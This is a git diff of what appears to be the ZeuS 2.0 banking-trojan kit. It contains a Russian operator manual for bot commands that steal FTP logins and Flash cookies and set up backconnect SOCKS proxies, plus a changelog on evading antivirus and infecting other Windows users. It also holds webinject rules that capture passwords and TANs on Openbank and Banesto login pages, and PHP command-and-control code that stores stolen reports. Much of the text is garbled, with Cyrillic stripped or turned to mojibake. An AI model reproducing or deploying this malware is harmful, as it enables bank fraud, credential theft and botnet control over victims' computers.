      user_homepage_set http://www.google.com/Принудительная установка домашней страницы "http://www.google.com/". "http://www.google.com/".
      user_homepage_setПринудительная установка домашней страницы будет отключена. .
    • user_ftpclients_get

      -

      Получение списка всех FTP-логинов из всех известных FTP-клиентов. Данная команда доступна не во всех сборках ПО.

      +

      FTP- FTP-. .

    • user_flashplayer_get

      -

      Создание архива "flashplayer.cab" из кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя, и его отправка на сервер.

      +

      "flashplayer.cab" (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) , .

    • user_flashplayer_remove

      -

      Удаление всех кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя.

      +

      (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) .

    - + - -

    Работа с Backсonnect-сервером

    -

    Работа с BackConnect рассматривается в виде примера.

    + +

    Backonnect-

    +

    BackConnect .

      -
    • IP-адрес Backconnect-сервера: 192.168.100.1.
    • -
    • Порт для бота: 4500.
    • -
    • Порт для клиентского приложения: 1080.
    • -
    • Сервис бота: socks.
    • +
    • IP- Backconnect-: 192.168.100.1.
    • +
    • : 4500.
    • +
    • : 1080.
    • +
    • : socks.
      -
    1. Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 - клиентский порт, 4500 - порт для бота.

    2. -
    3. Необходимому боту отправляется команда "bot_bc_add socks 192.168.100.1 4500".

    4. -
    5. Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".

    6. -
    7. После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.

    8. -
    9. После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду "bot_bc_remove socks 192.168.100.1 4500".

    10. +
    11. (zsbcs.exe zsbcs64.exe) IP- , , , . zsbcs.exe listen -cp:1080 -bp:4500, 1080 - , 4500 - .

    12. +
    13. "bot_bc_add socks 192.168.100.1 4500".

    14. +
    15. , ( ). , "Accepted new conection from bot...".

    16. +
    17. , . .. ( 1080). , socks, Socks-.

    18. +
    19. , Backconnect , "bot_bc_remove socks 192.168.100.1 4500".

    -

    ПРИМЕЧАНИЯ:

    +

    :

      -
    1. Вы можете указывать сколько угодно Backconnect'ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
    2. -
    3. Для каждого Backconnect'а, Вы должны запускать отдельное серверное приложение.
    4. -
    5. В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).
    6. -
    7. В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
    8. -
    9. Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.
    10. -
    11. Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.
    12. -
    13. Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
    14. -
    15. Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
    16. -
    17. Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.
    18. +
    19. Backconnect' (.. bot_bc_add), IP + Port. , .
    20. +
    21. Backconnect', .
    22. +
    23. ( , ..), ( PC), Backconnect (.. bot_bc_remove).
    24. +
    25. service bot_bc_add, 127.0.0.1.
    26. +
    27. IPv6, .
    28. +
    29. wine. elf .
    30. +
    31. bp (80, 8080, 443 ..), .. .
    32. +
    33. .
    34. +
    35. , NAT, .. Windows , .
    - + - +

    F.A.Q.

    • -

      Что значат цифры в версии?

      -

      Формат версии a.b.c.d, где:

      +

      ?

      +

      a.b.c.d, :

        -
      • a - полное изменение в устройстве бота.
      • -
      • b - крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями.
      • -
      • c - исправления ошибок, доработки, добавление возможностей.
      • -
      • d - номер чистки от антивирусов для текущей версии a.b.c.
      • +
      • a - .
      • +
      • b - , .
      • +
      • c - , , .
      • +
      • d - a.b.c.
    • -

      Каким образом генерируется Bot ID?

      -

      Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера (результат от GetComputerNameW), а number - некое число, генерируемое на основе некоторых уникальных данных ОС.

      +

      Bot ID?

      +

      Bot ID : %name%_%number%, name - ( GetComputerNameW), number - , .

    • -

      Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?

      -

      Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?

      +

      (RC4), (RSA)?

      +

      , , . RSA , , . ?

    - + - -

    История версий

    + +

      -
    • Версия 2.0.0.0, 01.04.2010

        -
      1. Полная несовместимость с предыдущими версиями.
      2. -
      3. Поскольку ядро бота нацелено на Windows Vista+, и в боте не когда не будут использоваться сплойты повышения привилегий и т.д., бот работает в пределах одного пользователя. Но элементарные попытки заразить прочих пользователей Windows совершаются (обычно эффективно в случаях отключения UAC, или запуска из-под LocalSystem).
      4. -
      5. Произвольные имена файлов, мютексов и т.д.
      6. -
      7. Полностью переписано ядро бота, от процесса установки в систему до отправки отчетов в панель управления.
      8. -
      9. При инсталляции, бот перекриптовывает свое тело, таким образом сохраняется уникальная копия exe-файла на каждом компьютере.
      10. -
      11. Привязка бота к компьютеру, путем модификации/удаления некоторых данные в exe-файле.
      12. -
      13. Полноценная работа с x32 приложениями в Windows x64.
      14. -
      15. Удаление исходного файла бота, после исполнения вне зависимости от результата исполнения.
      16. -
      17. Полноценная работа в параллельных сессиях "Terminal Services".
      18. -
      19. При запуске из под пользователя LocalSystem, происходит попытка заражения все пользователей системы.
      20. -
      21. Убрана опция "StaticConfig.blacklist_languages".
      22. -
      23. Имя ботнета ограничено 20 символами, и может содержать любые интернациональные символы.
      24. -
      25. Файл конфигурации читается в UTF-8-кодировке.
      26. -
      27. Убрана опция "StaticConfig.url_compip".
      28. -
      29. Новый способ определения NAT.
      30. -
      31. Нельзя обновить новую версию бота на старую.
      32. -
      33. При обновлении бота, происходит полное обновление немедленно, не дожидаясь перезагрузки.
      34. -
      35. В данный момент, из-за некоторых соображений, скрытие файлов бота не будет производиться вообще.
      36. -
      37. Убран граббер "Protected Storage", поскольку начиная с IE7, он более не используется.
      38. -
      39. С связи с ненадежностью старой системы подсчета "Инсталлов", бот имеет автоматически имеет "Инсталл" при добавлении в базу.
      40. -
      41. Новый способ получение кукисов IE.
      42. -
      43. Улучшен протокол бэк-коннекта.
      44. -
      45. Поскольку "лайт-режим" билдера создан для тестирования и отладки HTTP-инжектов и HTTP-фейков, он имеет ряд ограничений по сборке файла конфигурации.
      46. -
      47. Усложнена обнаружение трафика бота.
      48. -
      49. Полноценная (как с wininet.dll) работа с nspr4.dll, но пока без HTTP-фейков.
      50. +
      51. 2.0.0.0, 01.04.2010

          +
        1. .
        2. +
        3. Windows Vista+, .., . Windows ( UAC, - LocalSystem).
        4. +
        5. , ..
        6. +
        7. , .
        8. +
        9. , , exe- .
        10. +
        11. , / exe-.
        12. +
        13. x32 Windows x64.
        14. +
        15. , .
        16. +
        17. "Terminal Services".
        18. +
        19. LocalSystem, .
        20. +
        21. "StaticConfig.blacklist_languages".
        22. +
        23. 20 , .
        24. +
        25. UTF-8-.
        26. +
        27. "StaticConfig.url_compip".
        28. +
        29. NAT.
        30. +
        31. .
        32. +
        33. , , .
        34. +
        35. , - , .
        36. +
        37. "Protected Storage", IE7, .
        38. +
        39. "", "" .
        40. +
        41. IE.
        42. +
        43. -.
        44. +
        45. "-" HTTP- HTTP-, .
        46. +
        47. .
        48. +
        49. ( wininet.dll) nspr4.dll, HTTP-.
      52. -
      53. Версия 2.0.1.0, 28.04.2010

        Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:
          -
        1. Изменен способ привязки к пользователю/ОС.
        2. -
        3. Бот более не способен перекриптовывать себя при установке.
        4. -
        5. Мелкие доработки для HTTP-инжектов.
        6. +
        7. 2.0.1.0, 28.04.2010

          , :
            +
          1. /.
          2. +
          3. .
          4. +
          5. HTTP-.
        8. -
        9. Версия 2.0.2.0, 10.05.2010

            -
          1. Принудительное изменение настроек безопасности Mozilla Firefox для нормальной работы HTTP-инжектов.
          2. -
          3. Команда "user_homepage_set" применяет домашнею страницу принудительно для IE и Firefox (т.е страница будет восстановлена даже, если пользователь внесет изменения) до тех пор, пока не произойдет отмена команды.
          4. +
          5. 2.0.2.0, 10.05.2010

              +
            1. Mozilla Firefox HTTP-.
            2. +
            3. "user_homepage_set" IE Firefox (. , ) , .
          6. -
          7. Версия 2.0.3.0, 19.05.2010

              -
            1. С связи с тем, что HTTP-инжекты в основном пишут люди мало понимающие в HTTP, HTML и т.д., убрано предупреждение "*NO MATCHES FOUND FOR CURRENT MASK*". Т.к. из-за злоупотребления знака "*" в масках URL, данное предупреждение появляется очень часто.
            2. +
            3. 2.0.3.0, 19.05.2010

                +
              1. , HTTP- HTTP, HTML .., "*NO MATCHES FOUND FOR CURRENT MASK*". .. - "*" URL, .
            4. -
            5. Версия 2.0.4.0, 31.05.2010

                -
              1. В панели управления исправлена ошибка в модуле "Botnet->Bots", не позволяющая производить поиск по IP.
              2. -
              3. В файл конфигурации добавлена опция "StaticConfig.remove_certs", для отключения автоматического удаления сертификатов из хранилища пользователя при установке бота.
              4. -
              5. В файл конфигурации добавлена опция "StaticConfig.disable_tcpserver", которая позволяет отключить TCP-сервер (ОТКЛЮЧЕНИЕ: сокс-сервер, скриншоты в реальном времени). Данная опция введена для предотвращения появления предупреждений от "Window Firewall".
              6. -
              7. Сграбленные сертификаты сохраняются на сервере с указанием пользователя, из которого они получены.
              8. +
              9. 2.0.4.0, 31.05.2010

                  +
                1. "Botnet->Bots", IP.
                2. +
                3. "StaticConfig.remove_certs", .
                4. +
                5. "StaticConfig.disable_tcpserver", TCP- (: -, ). "Window Firewall".
                6. +
                7. , .
              10. -
              11. Версия 2.0.5.0, 08.06.2010

                  -
                1. Для скриптов подключены команды "bot_httpinject_enable" и "bot_httpinject_disable".
                2. -
                3. Исправлены мелкие ошибки в HTTP-граббере.
                4. +
                5. 2.0.5.0, 08.06.2010

                    +
                  1. "bot_httpinject_enable" "bot_httpinject_disable".
                  2. +
                  3. HTTP-.
                6. -
                7. Версия 2.0.6.0, 22.06.2010

                    -
                  1. В nspr4.dll, при специфическом форматировании HTTP-ответа от сервера, этот ответ не анализировался верно (что приводило, например, к отключению HTTP-инжектов).
                  2. +
                  3. 2.0.6.0, 22.06.2010

                      +
                    1. nspr4.dll, HTTP- , ( , , HTTP-).
                  4. -
                  5. Версия 2.0.7.0, 15.07.2010

                      -
                    1. Отключено встроенное криптование бота.
                    2. +
                    3. 2.0.7.0, 15.07.2010

                        +
                      1. .
                    4. -
                    5. Версия 2.0.8.0, 17.08.2010

                        -
                      1. К параметрам HTTP-инжекта добавлены новые опции "I" (сравнение URL без учета регистра) и "C" (сравнение контекста без учета регистра).
                      2. +
                      3. 2.0.8.0, 17.08.2010

                          +
                        1. HTTP- "I" ( URL ) "C" ( ).
    - + \ No newline at end of file diff --git a/output/builder/webinjects.txt b/output/builder/webinjects.txt index 8a03e99..f52173e 100644 --- a/output/builder/webinjects.txt +++ b/output/builder/webinjects.txt @@ -248,7 +248,7 @@ data_end ;OPENBANK ;============================================================================== set_url https://bancaonline.openbank.es/servlet/PProxy?* GP -;ПОЛЕ +; data_before name =p rethepassword* data_end @@ -269,7 +269,7 @@ data_after data_end -;СКРИПТ +; data_before function oculto_form_onsubmit*{ data_end @@ -280,7 +280,7 @@ data_after data_end set_url https://extranet.banesto.es/*/loginParticulares.htm GP -;ПОЛЕ +; data_before id="clave" name="oppasswd"*> data_end @@ -291,7 +291,7 @@ data_inject data_end data_after data_end -;POST ФОРМА +;POST data_before data_end @@ -300,7 +300,7 @@ data_inject data_end data_after data_end -;СКРИПТ +; data_before value="Entrar"*onclick="javascript: data_end @@ -309,7 +309,7 @@ CheckES(); data_end data_after " -­ + - Friday, October 19, 2007 3:02 AM data_end data_before @@ -322,7 +322,7 @@ data_after data_end set_url https://banesnet.banesto.es/*/loginEmpresas.htm GP -;ПОЛЕ +; data_before name="oppasswd"** data_end @@ -334,7 +334,7 @@ data_end data_after data_end -;POST ФОРМА +;POST data_before data_end @@ -343,7 +343,7 @@ data_inject data_end data_after data_end -;СКРИПТ +; data_before data_end @@ -375,7 +375,7 @@ data_inject data_end data_after data_end -;СКРИПТ ПЕПЕБРАСЫВАЕТ ДАННЫЕ В ДРУГУЮ ФОРМУ, ПОЭТОМУ И ТУДА ДОБОВЛЯЕМ ПОЛЕ +; , data_before data_end @@ -384,8 +384,8 @@ data_inject data_end data_after data_end -;ИЗМЕНЯЕМ СКРИПТ, ДЛЯ ТОГО ЧТОБЫ ПЕРЕБРАСЫВАТЬ ДАННЫЕ -;СЮДА ДОПОЛНИТЕЛЬНО ВЫ МОЖЕТЕ ВСТАВИТЬ ПРОВЕРКУ ПОЛЯ НА ЗАПОЛНЕНИЕ +; , +; data_before function enviar()*{*{ data_end @@ -557,7 +557,7 @@ name="Submit" data_end data_inject OnClick="javascript: if (document.forms[0].tan.value.length < 3) { -alert('грешна tan');return false;}" +alert(' tan');return false;}" data_end data_after data_end @@ -1474,7 +1474,7 @@ genera_esp()*; data_end data_inject if (document.LOGINFORM.pass.value.length < 10) { -alert("El Clave de FIRMA debe ser de 10 dнgitos"); +alert("El Clave de FIRMA debe ser de 10 dgitos"); error=1; } data_end @@ -1672,7 +1672,7 @@ data_end data_after data_end data_before - data_end data_inject -?юкеЁ-кища-??: +?--??: data_end data_after diff --git a/output/other/redir.php b/output/other/redir.php index a38b09b..f6c079f 100644 --- a/output/other/redir.php +++ b/output/other/redir.php @@ -1,18 +1,18 @@ \ No newline at end of file diff --git a/output/other/sockslist.php b/output/other/sockslist.php index 95965c9..c3f9f7a 100644 --- a/output/other/sockslist.php +++ b/output/other/sockslist.php @@ -1,7 +1,7 @@ сервер представляет РёР· себя СЃРѕ стороны бота - отсылка отчета Рѕ чем либо, - Р° СЃРѕ стороны сервера - отправка изменений РІ настройках( или команды). РЎРѕ стороны бота, Р·Р° раз - отправляется информация РѕР± РѕРґРЅРѕРј событие/объекте. + Протокол бот <-> сервер представляет из себя со стороны бота - отсылка отчета о чем либо, + а со стороны сервера - отправка изменений в настройках( или команды). Со стороны бота, за раз + отправляется информация об одном событие/объекте. */ if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die(); require_once('system/global.php'); require_once('system/config.php'); -//Получаем данные. +//Получаем данные. $data = @file_get_contents('php://input'); $dataSize = @strlen($data); if($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE)die(); rc4($data, $config['botnet_cryptkey_bin']); visualDecrypt($data); -//Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще. +//Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще. if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die(); -//Парсим данные (Сжатие данных РЅРµ поддерживается). -//Поздравляю мега хакеров, этот алгоритм позволит вам СЃРїРѕРєРѕР№РЅРѕ читать данные бота. РќРµ забудьте написать 18 парсеров Рё 100 Р±СЌРєРґРѕСЂРѕРІ. +//Парсим данные (Сжатие данных не поддерживается). +//Поздравляю мега хакеров, этот алгоритм позволит вам спокойно читать данные бота. Не забудьте написать 18 парсеров и 100 бэкдоров. $list = array(); for($i = HEADER_SIZE; $i < $dataSize;) { @@ -32,14 +32,14 @@ } unset($data); -//Основные параметры, которые должны быть всегда. +//Основные параметры, которые должны быть всегда. if(empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID]))die(); -//Подключаемся Рє базе. +//Подключаемся к базе. if(!connectToDb())die(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Обрабатываем данные. +// Обрабатываем данные. /////////////////////////////////////////////////////////////////////////////////////////////////// $botId = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID])); @@ -52,7 +52,7 @@ $countryQ = addslashes($country); $curTime = time(); -//Отчет РѕР± исполнении скрипта. +//Отчет об исполнении скрипта. if(!empty($list[SBCID_SCRIPT_ID]) && isset($list[SBCID_SCRIPT_STATUS], $list[SBCID_SCRIPT_RESULT]) && strlen($list[SBCID_SCRIPT_ID]) == 16) { if(!mysqlQueryEx('botnet_scripts_stat', @@ -61,19 +61,19 @@ "`type`=".(toInt($list[SBCID_SCRIPT_STATUS]) == 0 ? 2 : 3).",". "`report`='".addslashes($list[SBCID_SCRIPT_RESULT])."'"))die(); } -//Запись логов/файлов. +//Запись логов/файлов. else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE])) { $type = toInt($list[SBCID_BOTLOG_TYPE]); if($type == BLT_FILE) { - //Расширения, которые представляют возможность удаленного запуска. + //Расширения, которые представляют возможность удаленного запуска. $bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml', '.htaccess'); $fd_hash = 0; $fd_size = strlen($list[SBCID_BOTLOG]); - //Формируем РёРјСЏ файла. + //Формируем имя файла. if(isHackNameForPath($botId) || isHackNameForPath($botnet))die(); $file_root = $config['reports_path'].'/files/'.urlencode($botnet).'/'.urlencode($botId); $file_path = $file_root; @@ -87,14 +87,14 @@ if(strlen($last_name) === 0)$file_path .= '/unknown.dat'; unset($l); - //Проверяем расширении, Рё указываем маску файла. + //Проверяем расширении, и указываем маску файла. if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat'; $ext_pos = strrpos($file_path, '.'); - //FIXME: Если РёРјСЏ слишком большое. + //FIXME: Если имя слишком большое. if(strlen($file_path) > 180)$file_path = $file_root.'/longname.dat'; - //Добавляем файл. + //Добавляем файл. for($i = 0; $i < 9999; $i++) { if($i == 0)$f = $file_path; @@ -123,7 +123,7 @@ } else { - //Запись РІ базу. + //Запись в базу. if($config['reports_to_db'] === 1) { $table = 'botnet_reports_'.gmdate('ymd', $curTime); @@ -140,11 +140,11 @@ "ipv4='". addslashes($realIpv4)."',". "context='". addslashes($list[SBCID_BOTLOG])."'"; - //Думаю такой РїРѕСЂСЏРґРѕРє повышает производительность. + //Думаю такой порядок повышает производительность. if(!mysqlQueryEx($table, $query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS `{$table}` LIKE `botnet_reports`") || !mysqlQueryEx($table, $query)))die(); } - //Запись РІ файл. + //Запись в файл. if($config['reports_to_fs'] === 1) { if(isHackNameForPath($botId) || isHackNameForPath($botnet))die(); @@ -160,7 +160,7 @@ "country={$country}\r\n". "type={$type}\r\n". "rtime=". gmdate('H:i:s d.m.Y', $curTime)."\r\n". - "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. + "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : tickCountToText(toUint($list[SBCID_TIME_TICK]) / 1000))."\r\n". "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : timeBiasToText(toInt($list[SBCID_TIME_LOCALBIAS])))."\r\n". "os_version=". (empty($list[SBCID_OS_INFO]) ? '' : osDataToString($list[SBCID_OS_INFO]))."\r\n". @@ -175,10 +175,10 @@ if($config['reports_jn'] === 1)imNotify($type, $list, $botId); } } -//Отчет РѕР± онлайн-статусе. +//Отчет об онлайн-статусе. else if(!empty($list[SBCID_NET_LATENCY])) { - //Стандартный запрос. + //Стандартный запрос. $query = "`bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `country`='{$countryQ}', `rtime_last`={$curTime}, ". "`net_latency`=". (empty($list[SBCID_NET_LATENCY]) ? 0 : toUint($list[SBCID_NET_LATENCY])).", ". "`tcpport_s1`=". (empty($list[SBCID_TCPPORT_S1]) ? 0 : toUshort($list[SBCID_TCPPORT_S1])).", ". @@ -194,7 +194,7 @@ "ON DUPLICATE KEY UPDATE `rtime_online`=IF(`rtime_last` <= ".($curTime - $config['botnet_timeout']).", {$curTime}, `rtime_online`), {$query}"))die(); unset($query); - //РџРѕРёСЃРє скриптов для отправки. + //Поиск скриптов для отправки. $replyData = ''; $replyCount = 0; @@ -216,14 +216,14 @@ { $eid = addslashes($m[0]); - //Проверяем, РЅРµ достигнут ли лимит. + //Проверяем, не достигнут ли лимит. if($m[2] != 0 && ($j = mysqlQueryEx('botnet_scripts_stat', "SELECT COUNT(*) FROM `botnet_scripts_stat` WHERE `type`=1 AND `extern_id`='{$eid}'")) && ($c = mysql_fetch_row($j)) && $c[0] >= $m[2]) { mysqlQueryEx('botnet_scripts', "UPDATE `botnet_scripts` SET `flag_enabled`=0 WHERE `id`={$m[3]} LIMIT 1"); continue; } - //Добовляем бота РІ СЃРїРёСЃРѕРє отправленных. + //Добовляем бота в список отправленных. if(mysqlQueryEx('botnet_scripts_stat', "INSERT HIGH_PRIORITY INTO `botnet_scripts_stat` SET `extern_id`='{$eid}', `type`=1, `bot_id`='{$botIdQ}', `bot_version`={$botVersion}, `rtime`={$curTime}, `report`='Sended'")) { $size = strlen($m[1]) + strlen($m[0]); @@ -242,15 +242,15 @@ } else die(); -//Отправляем пустой ответ. +//Отправляем пустой ответ. sendEmptyReply(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Функции. +// Функции. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Отправка пустого ответа Рё выход. + Отправка пустого ответа и выход. */ function sendEmptyReply() { @@ -262,9 +262,9 @@ function sendEmptyReply() } /* - Получение страны. + Получение страны. - Return - string, страна. + Return - string, страна. */ function getCountryIpv4() { @@ -274,11 +274,11 @@ function getCountryIpv4() } /* - Ковертация Bin2UINT. + Ковертация Bin2UINT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toUint($str) { @@ -287,11 +287,11 @@ function toUint($str) } /* - Ковертация Bin2INT. + Ковертация Bin2INT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toInt($str) { @@ -300,11 +300,11 @@ function toInt($str) } /* - Ковертация Bin2SHORT. + Ковертация Bin2SHORT. - IN $str - string, исходная бинарная строка. + IN $str - string, исходная бинарная строка. - Return - int, сконвертированное число. + Return - int, сконвертированное число. */ function toUshort($str) { @@ -313,12 +313,12 @@ function toUshort($str) } /* - Проверяет, является ли РёРјСЏ увязимым как часть пути. + Проверяет, является ли имя увязимым как часть пути. - IN $name - string, РёРјСЏ для проверки. + IN $name - string, имя для проверки. - Return - true - если РёРјСЏ СѓРІСЏР·СЊРјРѕ, - false - если РЅРµ СѓРІСЏР·СЊРёРјРѕ. + Return - true - если имя увязьмо, + false - если не увязьимо. */ function isHackNameForPath($name) { @@ -326,11 +326,11 @@ function isHackNameForPath($name) return ($len > 0 && substr_count($name, '.') < $len && strpos($name, '/') === false && strpos($name, "\\") === false && strpos($name, "\x00") === false) ? false : true; } /* - Отправка данных РѕР± отчете РІ IM. + Отправка данных об отчете в IM. - IN - int, тип отчета. - IN - array, данные отчета. - IN - string, ID бота. + IN - int, тип отчета. + IN - array, данные отчета. + IN - string, ID бота. */ function imNotify(&$type, &$list, &$botId) { diff --git a/output/server[php]/system/botnet_bots.lng.en.php b/output/server[php]/system/botnet_bots.lng.en.php index b59b3e6..d393ce3 100644 --- a/output/server[php]/system/botnet_bots.lng.en.php +++ b/output/server[php]/system/botnet_bots.lng.en.php @@ -3,7 +3,7 @@ define('LNG_BOTNET_BOTSACTION', 'Bots action:'); -//Фильтр. +//Фильтр. define('LNG_BOTNET_FILTER_TITLE', 'Filter'); define('LNG_BOTNET_FILTER_BOTS', 'Bots:'); @@ -31,7 +31,7 @@ define('LNG_BOTNET_FILTER_RESET', 'Reset form'); define('LNG_BOTNET_FILTER_SUBMIT', 'Accept'); -//РЎРїРёСЃРѕРє. +//Список. define('LNG_BOTNET_LIST', 'Result (%s):'); define('LNG_BOTNET_LIST_BOTID', 'Bot ID'); define('LNG_BOTNET_LIST_BOTNET', 'Botnet'); diff --git a/output/server[php]/system/botnet_bots.php b/output/server[php]/system/botnet_bots.php index f739391..e4c4cec 100644 --- a/output/server[php]/system/botnet_bots.php +++ b/output/server[php]/system/botnet_bots.php @@ -1,12 +1,12 @@ $i)$fullQuery .= '&'.$k.'='.urlencode($i); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Определяем данные текущей сортировки. +// Определяем данные текущей сортировки. /////////////////////////////////////////////////////////////////////////////////////////////////// $fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment')); @@ -30,7 +30,7 @@ $jsPage = addJsSlashes($fullQuery); /////////////////////////////////////////////////////////////////////////////////////////////////// -// JavaScript скрипты. +// JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = jsCheckAll('botslist', 'checkall', 'bots[]'). @@ -38,13 +38,13 @@ "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}"; /////////////////////////////////////////////////////////////////////////////////////////////////// -// Создание запроса. +// Создание запроса. /////////////////////////////////////////////////////////////////////////////////////////////////// /* - Касательно LOCATE(`ipv4`, `ipv4_list`). РЎРїРѕСЃРѕР± имеет достаточно заметный РєРѕСЃСЏРє, РЅРѕ задумываясь - Рѕ хоть каком-то выиграше РІ скорости, РЅРµ думаю что его стоит лечить... РЇ думаю вероятность встретить - такого СЃСѓСЂРѕРІРѕРіРѕ совпадения РІ РґРёРєРѕРј интернете очень РЅРёР·РєР°. Еще можно попробывать делить РїРѕ модулю - РЅР° 4... Что приведет Рє противоположному РєРѕСЃСЏРєСѓ... + Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь + о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить + такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю + на 4... Что приведет к противоположному косяку... */ $q = array(); if($filter['nat'] > 0) $q[] = "LOCATE(`ipv4`, `ipv4_list`)".($filter['nat'] == 1 ? '>' : '=')."0"; @@ -55,10 +55,10 @@ $q[] = expressionToSql($filter['bots'], '`bot_id`', 0, 1); $q[] = expressionToSql($filter['botnets'], '`botnet`', 0, 1); -$q[] = expressionToSql($filter['ips'], 'CONCAT_WS(\'.\', ORD(SUBSTRING(`ipv4`, 1, 1)), ORD(SUBSTRING(`ipv4`, 2, 1)), ORD(SUBSTRING(`ipv4`, 3, 1)), ORD(SUBSTRING(`ipv4`, 4, 1)))', 0, 1); //Это ужасно. +$q[] = expressionToSql($filter['ips'], 'CONCAT_WS(\'.\', ORD(SUBSTRING(`ipv4`, 1, 1)), ORD(SUBSTRING(`ipv4`, 2, 1)), ORD(SUBSTRING(`ipv4`, 3, 1)), ORD(SUBSTRING(`ipv4`, 4, 1)))', 0, 1); //Это ужасно. $q[] = expressionToSql($filter['countries'], '`country`', 0, 1); -//Чистим массив. +//Чистим массив. foreach($q as $k => $v)if($v == '')unset($q[$k]); $query1 = count($q) > 0 ? 'WHERE '.implode(' AND ', $q) : ''; @@ -67,20 +67,20 @@ unset($q); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод СЃРїРёСЃРєР°. +// Вывод списка. /////////////////////////////////////////////////////////////////////////////////////////////////// -//Данные Рѕ странице. +//Данные о странице. $curPage = (!empty($_GET['page']) && is_numeric($_GET['page']) ? $_GET['page'] : 1); $pageCount = 0; $pageList = ''; $botsCount = 0; -//Запрос 1. +//Запрос 1. $r = mysqlQueryEx('botnet_list', 'SELECT COUNT(*) FROM `botnet_list` '.$query1); if(($mt = @mysql_fetch_row($r))) { - //Создание СЃРїРёСЃРєР° страниц. + //Создание списка страниц. if(($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) { $pageList = @@ -93,7 +93,7 @@ $botsCount = $mt[0]; } -//Запрос 2. +//Запрос 2. $botsList = ''; $offset = (($curPage - 1) * BOTS_PER_PAGE); if(!$r || @@ -105,7 +105,7 @@ str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1). THEME_LIST_ROW_END; } -//Вывод результата. +//Вывод результата. else { $i = 0; @@ -114,7 +114,7 @@ //IPv4. $ipv4 = binaryIpToString($mt[4]); - //Метка NAT. + //Метка NAT. if($mt[3] == 0)$ipv4 .= '*'; $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; @@ -140,7 +140,7 @@ } 